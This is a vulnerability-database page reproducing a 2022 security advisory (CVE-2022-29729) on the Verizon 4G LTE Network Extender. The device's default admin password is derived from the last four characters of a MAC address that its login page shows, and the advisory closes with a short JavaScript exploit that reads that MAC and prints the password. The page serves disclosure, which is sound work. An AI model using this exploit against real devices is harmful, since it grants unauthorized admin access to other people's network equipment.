Verizon 4G LTE Network Extender Weak Credentials Algorithm

🗓️ 13 Apr 2022 00:00:00Reported by Gjoko KrsticType

zeroscience🔗 www.zeroscience.mk👁 341 Views

Verizion 4G LTE Extender weak password algorithm expose

Reporter	Title	Published	Views	Family All 9
ATTACKERKB	CVE-2022-29729	2 Jun 202214:15	–	attackerkb
Circl	CVE-2022-29729	2 Jun 202218:25	–	circl
CNNVD	Verizon 4G LTE Network Extender 安全漏洞	2 Jun 202200:00	–	cnnvd
CVE	CVE-2022-29729	27 May 202212:56	–	cve
Cvelist	CVE-2022-29729	27 May 202212:56	–	cvelist
EUVD	EUVD-2022-34052	3 Oct 202520:07	–	euvd
NVD	CVE-2022-29729	2 Jun 202214:15	–	nvd
Prion	Default credentials	2 Jun 202214:15	–	prion
RedhatCVE	CVE-2022-29729	23 May 202501:16	–	redhatcve

<html><body><p>Verizon 4G LTE Network Extender Weak Credentials Algorithm


Vendor: Verizon Communications Inc.
Product web page: https://www.verizon.com
Affected version: GA4.38 - V0.4.038.2131

Summary: An LTE Network Extender enhances your indoor and 4G
LTE data and voice coverage to provide better service for your
4G LTE mobile devices. It's an extension of our 4G LTE network
that's placed directly in your home or office. The LTE Network
Extender works with all Verizon-sold 4G LTE mobile devices for
4G LTE data service and HD Voice-capable 4G LTE devices for voice
service. This easy-to-install device operates like a miniature
cell tower that plugs into your existing high-speed broadband
connection to communicate with the Verizon wireless network.

Desc: Verizon's 4G LTE Network Extender is utilising a weak
default admin password generation algorithm. The password is
generated using the last 4 values from device's MAC address
which is disclosed on the main webUI login page to an unauthenticated
attacker. The values are then concatenated with the string
'LTEFemto' resulting in something like 'LTEFemtoD080' as the
default Admin password.

Tested on: lighttpd-web


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2022-5701
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5701.php


17.02.2022

--


snippet:///Exploit
//
// Verizon 4G LTE Network Extender Super Awesome JS Exploit
//

console.log("Calling 'isDefaultPassword' API");
let req = new Request("/webapi/isDefaultPassword");
let def = req.url;

const doAjax = async () =&gt; {
  const resp = await fetch(def);
  if (resp.ok) {
    const jsonyo = await resp.json();
    return Promise.resolve(jsonyo);
  } else {
    return Promise.reject("Smth not rite captain!");
  }
}
doAjax().then(console.log).catch(console.log);

await new Promise(t =&gt; setTimeout(t, 1337));

console.log("Verizon Admin Password: ");
let mac = document.querySelector("#mac_address").innerHTML;
console.log("LTEFemto" + mac.substr(-4));
</p></body></html>

13 Apr 2022 00:00Current

7.1High risk

Vulners AI Score7.1

CVSS 25

CVSS 3.17.5

EPSS0.00859